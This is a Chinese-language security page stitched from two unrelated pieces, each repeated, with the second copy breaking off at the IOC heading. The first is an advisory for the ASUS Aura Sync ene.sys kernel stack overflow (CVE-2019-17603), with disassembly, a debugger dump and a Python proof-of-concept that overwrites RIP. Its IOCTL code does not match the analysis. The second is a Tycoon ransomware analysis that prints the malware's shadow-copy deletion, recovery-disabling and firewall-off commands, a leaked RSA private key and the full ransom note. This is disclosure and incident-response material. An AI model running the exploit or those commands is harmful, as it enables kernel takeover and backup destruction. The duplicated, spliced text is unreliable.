0x01:基本信息

 Advisory:               ASUS Aura Sync 1.07.71
                         ene.sys Stack-Based Buffer Overflow
 Advisory ID:            DH-ADV-2019-001
 CVE ID:                 CVE-2019-17603
 Revision:               1.1 
 Last Modified:          2019/10/14 
 Date Reported:          2019/09/08
 Advisory Published:     2020/06/01
 Affected Software:      Asus Aura Sync
 Remotely Exploitable:   No
 Locally Exploitable:    Yes 
 Vendor URL:             https://www.asus.com/

0x02:漏洞描述

ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致:

· 本地拒绝服务攻击(由于内核崩溃而导致系统崩溃)

· 在内核级别本地执行任意代码(完整的系统权限控制)

可以通过发送特制的IOCTL请求来触发此问题,对于成功的攻击,不需要特殊的用户权限即可利用此漏洞。

0x03:漏洞分析

该IOCTL调用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会得到验证。然后,可以用任意值填充不同的内核寄存器,可以利用它来控制内核执行流程并在内核级别执行任意代码。

逆向ene.sys(Windows 10 64位版本)IOCTL调用 0x80102050:

 [...]
 .text:00000000000111AA             cmp     r11d, 80102050h
 [...]
 .text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst
 .text:0000000000011330             mov     r8, rbx            ; Size <- [1]
 .text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]
 .text:0000000000011336             call    memmove            ; CALL <- [3]
 .text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]
 .text:0000000000011341             sub     r11d, 1
 .text:0000000000011345             jz      short loc_1136D
 [...]

[1]如定义的约定__fastcall所述,将用户控制的缓冲区大小复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。

[3]中的memmove函数使用以下参数调用:

 memmove(RCX, RDX, R8);
          |    |    |
         dst   |    |
              src  len

· RCX (dst):通过控制流定义

· RDX(src):指向用户控制的IOCTL输入数据/缓冲区

· R8 (len):取决于发送缓冲区

利用思路

如果攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()调用将导致可利用的内存损坏情况。

漏洞利用

步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并覆盖适当的寄存器并返回地址[4]。

步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将覆盖返回地址,并导致可利用的内存损坏情况(RIP被可控值覆盖)

可利用代码路径的示例:

 .text:0000000000011487             mov     ebx, [rdi+30h]
 [...]
 .text:00000000000114A1             lea     r11, [rsp+68h+var_8]
 .text:00000000000114A6             mov     eax, ebx
 .text:00000000000114A8             mov     rbx, [r11+10h]
 .text:00000000000114AC             mov     rbp, [r11+20h]
 .text:00000000000114B0             mov     rsi, [r11+28h]
 .text:00000000000114B4             mov     rsp, r11
 .text:00000000000114B7             pop     rdi
 .text:00000000000114B8             retn                    ; Trigger <- [4]
 [...]

在WinDBG中(执行漏洞利用之后):

 ene+0x14b8:
 fffff801`198d14b8 c3              ret  t
 00000000`deadbeef ??              ???  r
 rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
 rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
 rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
  r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60
 r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
 r14=ffffa981e5e80d60 r15=ffffa981e2f84920
 iopl=0         nv up ei ng nz na po nc
 cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286
 00000000`deadbeef ??              ???

[4]用户提供的缓冲区[2]用作memmove 参数,将覆盖相应的寄存器和堆栈地址。结果,堆栈顶部的最后一个地址保存了用户提供的缓冲区的地址[5]。

在此示例中,堆栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会破坏整个系统,并在内核级别执行任意代码。

漏洞验证

先决条件- 调试器和Debuggee

· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);

· 步骤2:执行漏洞验证(PoC)(Debuggee);

· 步骤3:将断点设置为:ene+0x14b8(Debugger)

 !process 0 0 python.exe            <- PROCCESSID of the running process 
 ba e1 /p ${PROCCESSID} ene+0x14b8
 g

· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时停止以执行下一条指令

· 步骤5:RIP被覆盖0xdeadbeef

0x04:漏洞验证(PoC)

 #!/usr/bin/python
 
 from ctypes import *
 import struct
 import sys
 
 kernel32 = windll.kernel32
 ntdll = windll.ntdll
 NULL = 0x00
 
 def run():
     handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None,
                                   0x3, 0, None)
     if not handle or handle == -1:
         sys.exit("[-] Error getting device handle")
 
     shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef
     buf = "A" * 56 + shellcode
 
     raw_input("Press Enter to Trigger Vuln")
     driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                       NULL, NULL, 0, NULL)
     if not driver or driver == -1:
         sys.exit("[-] Error")
 
 if __name__ == "__main__":
     run()

0x05:受影响的产品

此漏洞影响以下产品:

· 华硕Aura Sync <= 1.07.71

该漏洞很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产品的先前版本和后续版本。

0x06:时间线

· 2019/09/08:首次通过电子邮件([email protected])联络协商;

· 2019/09/12:华硕安全团队回应并要求更多信息;

· 2019/09/12:漏洞最初报告给ASUS Security团队;

· 2019/09/18:华硕安全团队确认该漏洞;

· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603

· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;

· 2020/01/10:收到确认已发布补丁程序的确认(v1.07.79);

0x07:参考资源

· [1]ASUS Aura Sync - https://www.asus.com/campaign/aura/us/download.html

· [2]Microsoft - x64 calling convention - https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019

0x01:基本信息

 Advisory:               ASUS Aura Sync 1.07.71
                         ene.sys Stack-Based Buffer Overflow
 Advisory ID:            DH-ADV-2019-001
 CVE ID:                 CVE-2019-17603
 Revision:               1.1 
 Last Modified:          2019/10/14 
 Date Reported:          2019/09/08
 Advisory Published:     2020/06/01
 Affected Software:      Asus Aura Sync
 Remotely Exploitable:   No
 Locally Exploitable:    Yes 
 Vendor URL:             https://www.asus.com/

0x02:漏洞描述

ASUS Aura Sync版本1.07.71随附的内核驱动程序ene.sys在处理IOCTL请求的代码中包含一个漏洞,利用此漏洞可能导致:

· 本地拒绝服务攻击(由于内核崩溃而导致系统崩溃)

· 在内核级别本地执行任意代码(完整的系统权限控制)

可以通过发送特制的IOCTL请求来触发此问题,对于成功的攻击,不需要特殊的用户权限即可利用此漏洞。

0x03:漏洞分析

该IOCTL调用0x80102044,0x80102050和0x80102054在 ene.sys的内核驱动程序接受用户的输入,它不会得到验证。然后,可以用任意值填充不同的内核寄存器,可以利用它来控制内核执行流程并在内核级别执行任意代码。

逆向ene.sys(Windows 10 64位版本)IOCTL调用 0x80102050:

 [...]
 .text:00000000000111AA             cmp     r11d, 80102050h
 [...]
 .text:000000000001132B             lea     rcx, [rsp+68h+Dst] ; Dst
 .text:0000000000011330             mov     r8, rbx            ; Size <- [1]
 .text:0000000000011333             mov     rdx, rbp           ; Src  <- [2]
 .text:0000000000011336             call    memmove            ; CALL <- [3]
 .text:000000000001133B             movzx   r11d, byte ptr [rsp+68h+Dst+6]
 .text:0000000000011341             sub     r11d, 1
 .text:0000000000011345             jz      short loc_1136D
 [...]

[1]如定义的约定__fastcall所述,将用户控制的缓冲区大小复制到R8寄存器中,并将缓冲区[2]的内容复制到RDX中,而无需任何输入验证。

[3]中的memmove函数使用以下参数调用:

 memmove(RCX, RDX, R8);
          |    |    |
         dst   |    |
              src  len

· RCX (dst):通过控制流定义

· RDX(src):指向用户控制的IOCTL输入数据/缓冲区

· R8 (len):取决于发送缓冲区

利用思路

如果攻击者能够发送大缓冲区(IOCTL 为48个字节0x80102050),则memmove()调用将导致可利用的内存损坏情况。

漏洞利用

步骤1:使用所支持的IOCTL之一ene.sys将可控制的缓冲区移至内核空间地址,并覆盖适当的寄存器并返回地址[4]。

步骤2:向易受攻击的IOCTL发送请求,存储在偏移量末尾的0x30地址将覆盖返回地址,并导致可利用的内存损坏情况(RIP被可控值覆盖)

可利用代码路径的示例:

 .text:0000000000011487             mov     ebx, [rdi+30h]
 [...]
 .text:00000000000114A1             lea     r11, [rsp+68h+var_8]
 .text:00000000000114A6             mov     eax, ebx
 .text:00000000000114A8             mov     rbx, [r11+10h]
 .text:00000000000114AC             mov     rbp, [r11+20h]
 .text:00000000000114B0             mov     rsi, [r11+28h]
 .text:00000000000114B4             mov     rsp, r11
 .text:00000000000114B7             pop     rdi
 .text:00000000000114B8             retn                    ; Trigger <- [4]
 [...]

在WinDBG中(执行漏洞利用之后):

 ene+0x14b8:
 fffff801`198d14b8 c3              ret  t
 00000000`deadbeef ??              ???  r
 rax=00000000c000000d rbx=ffffa981e29b1e90 rcx=151b9b80a8c50000
 rdx=0000000000000001 rsi=0000000000000001 rdi=4141414141414141
 rip=00000000deadbeef rsp=fffffd030b8bf7a0 rbp=0000000000000002
  r8=0000000000000008  r9=0000000000000065 r10=ffffa981df102e60
 r11=fffffd030b8bf790 r12=0000000000000000 r13=0000000000000000
 r14=ffffa981e5e80d60 r15=ffffa981e2f84920
 iopl=0         nv up ei ng nz na po nc
 cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b          efl=00040286
 00000000`deadbeef ??              ???

[4]用户提供的缓冲区[2]用作memmove 参数,将覆盖相应的寄存器和堆栈地址。结果,堆栈顶部的最后一个地址保存了用户提供的缓冲区的地址[5]。

在此示例中,堆栈中用大写字母“ A”和0xdeadbeef (RIP)填充。拥有RIP寄存器控制权的攻击者可能会破坏整个系统,并在内核级别执行任意代码。

漏洞验证

先决条件- 调试器和Debuggee

· 步骤1:安装ASUS Aura sync版本V1.07.71(Debuggee);

· 步骤2:执行漏洞验证(PoC)(Debuggee);

· 步骤3:将断点设置为:ene+0x14b8(Debugger)

 !process 0 0 python.exe            <- PROCCESSID of the running process 
 ba e1 /p ${PROCCESSID} ene+0x14b8
 g

· 步骤4:按Enter键(Debuggee);调试器在ene+0x14b8按“ t”时停止以执行下一条指令

· 步骤5:RIP被覆盖0xdeadbeef

0x04:漏洞验证(PoC)

 #!/usr/bin/python
 
 from ctypes import *
 import struct
 import sys
 
 kernel32 = windll.kernel32
 ntdll = windll.ntdll
 NULL = 0x00
 
 def run():
     handle = kernel32.CreateFileA("\\\\.\\EneIo", 0xC0000000, 0, None,
                                   0x3, 0, None)
     if not handle or handle == -1:
         sys.exit("[-] Error getting device handle")
 
     shellcode = struct.pack("<Q", 0xdeadbeef) # RIP == 0xdeadbeef
     buf = "A" * 56 + shellcode
 
     raw_input("Press Enter to Trigger Vuln")
     driver = kernel32.DeviceIoControl(handle, 0x80102040, buf, len(buf),
                                       NULL, NULL, 0, NULL)
     if not driver or driver == -1:
         sys.exit("[-] Error")
 
 if __name__ == "__main__":
     run()

0x05:受影响的产品

此漏洞影响以下产品:

· 华硕Aura Sync <= 1.07.71

该漏洞很可能还会影响使用“ ASUS Aura Sync” 内核驱动程序ene.sys的产品的先前版本和后续版本。

0x06:时间线

· 2019/09/08:首次通过电子邮件([email protected])联络协商;

· 2019/09/12:华硕安全团队回应并要求更多信息;

· 2019/09/12:漏洞最初报告给ASUS Security团队;

· 2019/09/18:华硕安全团队确认该漏洞;

· 2019/10/13:通过MITRE 请求CVE ID; CVE-2019-17603

· 2019/10/15:发送了在Windows 10 x64上运行的更新的PoC ;

· 2020/01/10:收到确认已发布补丁程序的确认(v1.07.79);

0x07:参考资源

· [1]ASUS Aura Sync - https://www.asus.com/campaign/aura/us/download.html

· [2]Microsoft - x64 calling convention - https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019

0x01 基本信息

Tycoon是针对Windows®和Linux®的多平台Java勒索软件,至少从2019年12月起就在野外活动,它以木马Java运行时环境(JRE)的形式部署,并利用晦涩的Java图像格式在执行。

人们观察到Tycoon背后的威胁行为者使用了针对性强的传递机制,渗透到教育和软件行业的中小型公司和机构中,在那里他们将继续加密文件服务器并要求赎金。但是,由于重用了公共RSA私钥,因此有可能恢复数据而无需在较早版本中进行支付。

BlackBerry研究与情报团队与毕马威(KPMG)的UK Cyber Response Services合作,最近发现了一种用Java编写的新勒索软件。勒索软件是针对组织的有针对性的攻击而部署的,该组织的域控制器和文件服务器受到攻击后,系统管理员已被锁定在系统之外。在对受感染系统进行取证调查后,很明显最初的入侵是通过面向Internet的RDP跳转服务器进行的。

下图说明了攻击者如何设法获得初始访问权并开始感染整个场所的系统:

图1:攻击时间表

面向Internet的RDP服务器的事件后分析无法执行,因为它已被还原。但是,我们对受害机器的分析表明,攻击者使用的某些技术是异常且值得注意的:

· 为了在受害者的机器上实现持久性,攻击者使用了一种称为“ 图像文件执行选项”(IFEO)注入的技术[2]。IFEO设置存储在Windows注册表中。这些设置使开发人员可以选择在目标应用程序执行期间通过调试应用程序的附件来调试软件。

· 然后,在操作系统的Microsoft Windows屏幕键盘(OSK)功能旁边执行了后门操作:

图2:用于执行后门程序的注册表项

· 攻击者使用ProcessHacker实用程序禁用了组织的反恶意软件解决方案,并更改了Active Directory服务器的密码。这使受害者无法访问其系统。

· 大多数攻击者文件都带有时间戳,包括Java库和执行脚本,并且文件日期时间戳为2020年4月11日15:16:22:

图3:文件时间戳

最后,攻击者执行了Java勒索软件模块,对所有文件服务器进行了加密,包括连接到网络的备份系统。

0x02  样本分析

Tycoon勒索软件以ZIP存档的形式出现,其中包含Trojanized Java Runtime Environment(JRE)构建。该恶意软件被编译为Java映像文件(JIMAGE),位于构建目录中的lib \ modules。

JIMAGE是一种特殊的文件格式,用于存储自定义JRE映像,该映像设计用于Java虚拟机(JVM)在运行时使用。它包含支持特定JRE构建的所有Java模块的资源和类文件。该格式最初是在Java版本9中引入的,并且记录很少。与流行的Java存档格式(JAR)不同,JIMAGE主要是JDK内部的,很少被开发人员使用:  

图4:恶意的“模块”文件;JIMAGE格式使用以0xDADAFECA签名开头的标头

OpenJDK9 jimage实用程序可以提取和反编译Java图像文件:

 $ ./jimage --help
 Usage: jimage   jimage...

提取后,勒索软件映像包含与一个名为“ tycoon”的项目相关的三个模块:

图5:ZIP存档的内容(左)和反编译的Java模块JIMAGE的结构(右)

勒索软件是通过执行shell脚本触发的,该脚本使用java -m命令运行恶意Java模块的Main函数。

恶意的JRE构建包含此脚本的Windows®和Linux®版本,这表明威胁因素也针对Linux®服务器:  

图6:用于执行勒索软件的Shell脚本和Java“发布”文件

0x03  样本数据

恶意软件配置存储在项目的BuildConfig文件中,并包含以下信息:

 · 攻击者的电子邮件地址

 · RSA公钥

 · 赎金说明的内容

 · 排除清单

 · 要执行的Shell命令列表image.png

图7:示例配置值

图8:BuildConfig文件的一部分

0x04 攻击行为

执行后,该恶意软件将运行BuildConfig文件中指定的一组Shell命令:

 vssadmin delete shadows /all /quiet
 wmic shadowcopy delete
 bcdedit /set {default} bootstatuspolicy ignoreallfailures
 bcdedit /set {default} recoveryenabled no
 wbadmin delete catalog -quiet
 netsh advfirewall set currentprofile state off
 netsh firewall set opmode mode=disable

将使用系统UUID值的SHA256哈希值中的前四个字节为每个受害者生成 一个install_id值。为了获取UUID,恶意软件执行以下wmic命令:

 wmic csproduct get UUID

加密路径列表可以作为参数传递;或者,该恶意软件将生成系统中所有根路径的列表。将为路径列表中的每个项目创建一个单独的加密线程。

加密过程完成后,恶意软件将通过覆盖每个加密路径中的已删除文件来确保文件不可恢复。它使用嵌入式Windows实用程序cipher.exe来完成此任务:

图9:安全删除原始文件

0x05 文件加密

使用[Galois / Counter(GCM)模式3]中的AES-256算法,使用16字节长的GCM身份验证标签对文件进行加密,以确保数据完整性。使用java.security.SecureRandom函数为每个加密块生成一个12字节长的初始化向量(IV)。加密块的大小在BuildConfig中指定,并设置为10 MB,而模式设置则指定要在其中处理文件块的模式。通过跳过较大文件的一部分,攻击者可以在破坏文件并使其无法使用的同时加快加密过程。

对于每个加密路径,使用java.security.Secure.Random函数生成AES-256密钥数组。每个路径的最大密钥数是在BuildConfig中设置的,并且在样本之间可能有所不同。每个文件(或文件块,如果文件大于块大小)将使用不同的AES密钥加密,然后使用攻击者的RSA-1024公钥加密并保存在块元数据块中:  

图10:AES密钥生成

添加到每个加密块的元数据包含以下内容:

· BuildConfig中指定的标头值

· 块索引(8个字节)

· 块大小(8个字节)

· 每块生成的AES IV(12字节)

· AES GCM标签(16字节)

· RSA加密的AES密钥方案(128个字节),包含:    o受害者ID(4个字节)    o AES密钥(32个字节)    o受害者ID和AES密钥的SHA512哈希(64个字节)

图11:带有突出显示的元数据的加密文件

由于使用非对称RSA算法对安全生成的AES密钥进行加密,因此文件解密需要获得攻击者的私有RSA密钥。尽管从理论上讲可以分解1024位RSA密钥,但尚未实现,并且需要非凡的计算能力。

但是,在BleepingComputer论坛上寻求帮助的受害者之一[4]存储了一个RSA私有密钥,该密钥大概来自从攻击者那里购买的受害者。事实证明,此密钥可以成功解密受最早版本的Tycoon勒索软件影响的某些文件,该版本向加密文件中添加了.redrum扩展名:  

图12:解密的AES密钥元数据:install_id(红色),AES密钥(绿色),sha512哈希(蓝色)

图13:使用解密的AES密钥恢复.redrum文件

不幸的是,它不适用于最新的“ happyny3.1”版本,该版本在加密文件中添加了.grinch和.thanos扩展名。

0x06 分析总结

恶意软件编写者一直在寻找新的传播方式。它们正逐渐摆脱传统的混淆技术,转向不常见的编程语言和晦涩的数据格式。我们已经看到以Java和Go这样的语言编写的勒索软件有了大幅度的增长。这是我们遇到的第一个示例,该示例专门滥用Java JIMAGE格式来创建自定义的恶意JRE构建。

Tycoon已经在野存在了至少六个月,但受害人数似乎有限。这表明该恶意软件可能具有很高的针对性。它也可能是使用几种不同勒索软件解决方案的更广泛活动的一部分,这取决于在特定环境中被认为更成功的方法。

一些电子邮件地址中的重叠以及勒索文本和用于加密文件的命名约定,表明Tycoon与Dharma / CrySIS勒索软件之间存在联系。

0x07 IOCs

JIMAGE模块(lib \ modules):eddc43ee369594ac8b0a8a0eab6960dba8d58c0b499a51a717667f05572617fb 电子邮件地址:

· pay4dec[at]cock[.]lu

· dataissafe[at]protonmail[.]com

· dataissafe[at]mail[.]com

· foxbit[at]tutanota[.]com

· moncler[at]tutamail[.]com

· moncler[at]cock[.]li

· relaxmate[at]protonmail[.]com

· crocodelux[at]mail[.]ru

· savecopy[at]cock[.]li

· bazooka[at]cock[.]li

· funtik[at]tutamail[.]com

· proff-mariarti[at]protonmail[.]com

加密文件扩展名:

· thanos

· grinch

· redrum

加密文件签名:

· happyny3.1

· redrum3_0

RSA公钥(happyny3.1版本):

 -----BEGIN PUBLIC KEY-----
 
 MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDa+whJSxr9ngcD1T5GmjDNSUEY
 gz5esbymvy4lE9g2M3PvVc9iLw9Ybe+NMqJwHB8FYCTled48mXQmCvRH2Vw3lPkA
 TrQ4zbVx0fgEsoxekqtb3GbK2NseXEeavCi5lo5/jXZi4Td7nlWTu27CluyxRSgv
 L0O19CwzvckTM91BKwIDAQAB
 
 -----END PUBLIC KEY-----

RSA私钥(redrum3_0版本):

 -----BEGIN RSA PRIVATE KEY-----
 
 MIICXQIBAAKBgQCyNELzNaPcGBlt2YEARamc+a+uyM8/mRadrMLLQ9tuzkppvdWI
 iM/LH+xATZUgByknwzaMtRQZi6R2pQ8nBG6DxNtdhla33L+njQLTW+7wo1tSaaJz
 6Of0FvCUZNPZ0mF5OrJO+Z6ZfDxafcwv653Ii7aTwaKlhjFoZijBMrA43wIDAQAB
 AoGAPJ+I0yJBX0OXiwY+W3BXdj5+5LANyS30QqmeDvZDtRtat0RMW0lnn0t53JpI
 DABDoPJJIW8MqnAWAALA994LFhk9jUtJTUgwsViyKL/Q/dOCeBPJU3xyXNkqhmCN
 ImP4v7DxjvWp1pomrIIRCW68GkbB+cSGyLAzUo+1KHVh6LECQQDdL26UsVNsNYTX
 rfv6BZItGO1HJHYTiz0cI82n4woZY2fS2lpBDEvy3Rl8E4Y7F9tQby4odDLHi/9l
 RCeoif45AkEAzkDsPGauMmWsPXAbXrjzq3/0+MWgh7Vd8Gpgn83QUYjTO2RxtE1n
 zAYzTLrFFtM8zmCAubpKM1dyi4Xs7hlv1wJBAJD5ofV8NT3b5nKn61z5gdJlYEEd
 OPeecDOdlBLS0a/KZCbkT/wK300UdrvI4FajUHDsLsj9QLtim8f4YDYsHKECQQCX
 R40+XD3mnyZvRbv9hQDMyKSglyvAfimxvgSzEZ17QDVWubygd6nrPpz/6XnH3RYb
 dTLVhysHb1uHtKpslWGvAkAf0kivk9miSFnVeoO1XZumRAwrhTh6Rxhkg6MJCLBP
 ThoY7wYXmV9zNPo02xYTvZlyhwnWspz4Kx4LsUutWmBs
 
 -----END RSA PRIVATE KEY-----

勒索信息:

 Hello!
 
 All your documents, photos, databases and other important files have been ENCRYPTED! Do you really interested to restore your files?
 
 If so, you must buy decipher software and private key to unlock your data!
 Write to our email - %s and tell us your unique %s
 We will send you full instruction how to decrypt all your files.
 In case of no answer in 24 hours write us on additional e-mail address - %s
 
 ========================================================================================================================
 FAQ FOR DECRYPTION YOUR FILES:
 ========================================================================================================================
 
 * WHATS HAPPENED ???  
 
 Your files are NOT DAMAGED! Your files have been modified and encrypted with strong cipher algorithm. This modification is reversible. The only way to decrypt your files is to purchase the decipher software and private key. Any attempts to restore your files with the third-party software will be fatal for your files, because would damage data essential for decryption !
 
 Note !!! You have only 24 hours to write us on e-mail or all your files will be lost or the decryption price will be "increased!"
 
 ====================================================================================
 ====================================
 
  * HOW TO RECOVERY MY FILES ???
 
 You have to pay for decryption in Bitcoins. The price depends on how fast you write to us. After payment we will send you the decipher software and private key that will decrypt all your files.
 
 ========================================================================================================================
 
 * FREE DECRYPTION !!!
 
 Free decryption as guarantee! If you don't believe in our service and you want to see a proof, you can ask us about test" for decryption. You send us up to 5 modified files. Use file-sharing service and Win-Rar to send files for test. Files have to be less than 1 MB (non archived). Files should not be important! Don't send us databases, backups, large excel files, etc.  We will decrypt and send you your decrypted files back as a proof!"
 
 ========================================================================================================================
 
 * WHY DO I NEED A TEST???
 
 This is done so that you can make sure that only we can decrypt your files and that there will be no problems with the decryption!
 
 ========================================================================================================================
 
 * HOW TO BUY BITCOINS ???
 
 There are two simple ways to by bitcoins:
 https://exmo.me/en/support#/1_3
 https://localbitcoins.net/guides/how-to-buy-bitcoins
 
 Read this information carefully because it's enough to purchase even in large amounts
 
 ========================================================================================================================
 
  !!! ATTENTION !!!
 
 !!! After 60 hours the price for your encryption will increase 10 percent each day
 !!! Do not rename encrypted files.
 !!! Do not try to decrypt your data using third party software, it may cause permanent data loss.
 !!! Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

0x08  参考资料

[1] https://www.bleepingcomputer.com/forums/t/709143/help-me-to-identify-ransomware-with-redrum-extension/ 

[2] https://attack.mitre.org/techniques/T1183/ 

[3] https://en.wikipedia.org/wiki/Galois/Counter_Mode 

[4] https://www.bleepingcomputer.com/forums/t/709143/help-me-to-identify-ransomware-with-redrum-extension/page-2

0x01 基本信息

Tycoon是针对Windows®和Linux®的多平台Java勒索软件,至少从2019年12月起就在野外活动,它以木马Java运行时环境(JRE)的形式部署,并利用晦涩的Java图像格式在执行。

人们观察到Tycoon背后的威胁行为者使用了针对性强的传递机制,渗透到教育和软件行业的中小型公司和机构中,在那里他们将继续加密文件服务器并要求赎金。但是,由于重用了公共RSA私钥,因此有可能恢复数据而无需在较早版本中进行支付。

BlackBerry研究与情报团队与毕马威(KPMG)的UK Cyber Response Services合作,最近发现了一种用Java编写的新勒索软件。勒索软件是针对组织的有针对性的攻击而部署的,该组织的域控制器和文件服务器受到攻击后,系统管理员已被锁定在系统之外。在对受感染系统进行取证调查后,很明显最初的入侵是通过面向Internet的RDP跳转服务器进行的。

下图说明了攻击者如何设法获得初始访问权并开始感染整个场所的系统:

图1:攻击时间表

面向Internet的RDP服务器的事件后分析无法执行,因为它已被还原。但是,我们对受害机器的分析表明,攻击者使用的某些技术是异常且值得注意的:

· 为了在受害者的机器上实现持久性,攻击者使用了一种称为“ 图像文件执行选项”(IFEO)注入的技术[2]。IFEO设置存储在Windows注册表中。这些设置使开发人员可以选择在目标应用程序执行期间通过调试应用程序的附件来调试软件。

· 然后,在操作系统的Microsoft Windows屏幕键盘(OSK)功能旁边执行了后门操作:

图2:用于执行后门程序的注册表项

· 攻击者使用ProcessHacker实用程序禁用了组织的反恶意软件解决方案,并更改了Active Directory服务器的密码。这使受害者无法访问其系统。

· 大多数攻击者文件都带有时间戳,包括Java库和执行脚本,并且文件日期时间戳为2020年4月11日15:16:22:

图3:文件时间戳

最后,攻击者执行了Java勒索软件模块,对所有文件服务器进行了加密,包括连接到网络的备份系统。

0x02  样本分析

Tycoon勒索软件以ZIP存档的形式出现,其中包含Trojanized Java Runtime Environment(JRE)构建。该恶意软件被编译为Java映像文件(JIMAGE),位于构建目录中的lib \ modules。

JIMAGE是一种特殊的文件格式,用于存储自定义JRE映像,该映像设计用于Java虚拟机(JVM)在运行时使用。它包含支持特定JRE构建的所有Java模块的资源和类文件。该格式最初是在Java版本9中引入的,并且记录很少。与流行的Java存档格式(JAR)不同,JIMAGE主要是JDK内部的,很少被开发人员使用:  

图4:恶意的“模块”文件;JIMAGE格式使用以0xDADAFECA签名开头的标头

OpenJDK9 jimage实用程序可以提取和反编译Java图像文件:

 $ ./jimage --help
 Usage: jimage   jimage...

提取后,勒索软件映像包含与一个名为“ tycoon”的项目相关的三个模块:

图5:ZIP存档的内容(左)和反编译的Java模块JIMAGE的结构(右)

勒索软件是通过执行shell脚本触发的,该脚本使用java -m命令运行恶意Java模块的Main函数。

恶意的JRE构建包含此脚本的Windows®和Linux®版本,这表明威胁因素也针对Linux®服务器:  

图6:用于执行勒索软件的Shell脚本和Java“发布”文件

0x03  样本数据

恶意软件配置存储在项目的BuildConfig文件中,并包含以下信息:

 · 攻击者的电子邮件地址

 · RSA公钥

 · 赎金说明的内容

 · 排除清单

 · 要执行的Shell命令列表image.png

图7:示例配置值

图8:BuildConfig文件的一部分

0x04 攻击行为

执行后,该恶意软件将运行BuildConfig文件中指定的一组Shell命令:

 vssadmin delete shadows /all /quiet
 wmic shadowcopy delete
 bcdedit /set {default} bootstatuspolicy ignoreallfailures
 bcdedit /set {default} recoveryenabled no
 wbadmin delete catalog -quiet
 netsh advfirewall set currentprofile state off
 netsh firewall set opmode mode=disable

将使用系统UUID值的SHA256哈希值中的前四个字节为每个受害者生成 一个install_id值。为了获取UUID,恶意软件执行以下wmic命令:

 wmic csproduct get UUID

加密路径列表可以作为参数传递;或者,该恶意软件将生成系统中所有根路径的列表。将为路径列表中的每个项目创建一个单独的加密线程。

加密过程完成后,恶意软件将通过覆盖每个加密路径中的已删除文件来确保文件不可恢复。它使用嵌入式Windows实用程序cipher.exe来完成此任务:

图9:安全删除原始文件

0x05 文件加密

使用[Galois / Counter(GCM)模式3]中的AES-256算法,使用16字节长的GCM身份验证标签对文件进行加密,以确保数据完整性。使用java.security.SecureRandom函数为每个加密块生成一个12字节长的初始化向量(IV)。加密块的大小在BuildConfig中指定,并设置为10 MB,而模式设置则指定要在其中处理文件块的模式。通过跳过较大文件的一部分,攻击者可以在破坏文件并使其无法使用的同时加快加密过程。

对于每个加密路径,使用java.security.Secure.Random函数生成AES-256密钥数组。每个路径的最大密钥数是在BuildConfig中设置的,并且在样本之间可能有所不同。每个文件(或文件块,如果文件大于块大小)将使用不同的AES密钥加密,然后使用攻击者的RSA-1024公钥加密并保存在块元数据块中:  

图10:AES密钥生成

添加到每个加密块的元数据包含以下内容:

· BuildConfig中指定的标头值

· 块索引(8个字节)

· 块大小(8个字节)

· 每块生成的AES IV(12字节)

· AES GCM标签(16字节)

· RSA加密的AES密钥方案(128个字节),包含:    o受害者ID(4个字节)    o AES密钥(32个字节)    o受害者ID和AES密钥的SHA512哈希(64个字节)

图11:带有突出显示的元数据的加密文件

由于使用非对称RSA算法对安全生成的AES密钥进行加密,因此文件解密需要获得攻击者的私有RSA密钥。尽管从理论上讲可以分解1024位RSA密钥,但尚未实现,并且需要非凡的计算能力。

但是,在BleepingComputer论坛上寻求帮助的受害者之一[4]存储了一个RSA私有密钥,该密钥大概来自从攻击者那里购买的受害者。事实证明,此密钥可以成功解密受最早版本的Tycoon勒索软件影响的某些文件,该版本向加密文件中添加了.redrum扩展名:  

图12:解密的AES密钥元数据:install_id(红色),AES密钥(绿色),sha512哈希(蓝色)

图13:使用解密的AES密钥恢复.redrum文件

不幸的是,它不适用于最新的“ happyny3.1”版本,该版本在加密文件中添加了.grinch和.thanos扩展名。

0x06 分析总结

恶意软件编写者一直在寻找新的传播方式。它们正逐渐摆脱传统的混淆技术,转向不常见的编程语言和晦涩的数据格式。我们已经看到以Java和Go这样的语言编写的勒索软件有了大幅度的增长。这是我们遇到的第一个示例,该示例专门滥用Java JIMAGE格式来创建自定义的恶意JRE构建。

Tycoon已经在野存在了至少六个月,但受害人数似乎有限。这表明该恶意软件可能具有很高的针对性。它也可能是使用几种不同勒索软件解决方案的更广泛活动的一部分,这取决于在特定环境中被认为更成功的方法。

一些电子邮件地址中的重叠以及勒索文本和用于加密文件的命名约定,表明Tycoon与Dharma / CrySIS勒索软件之间存在联系。

0x07 IOCs

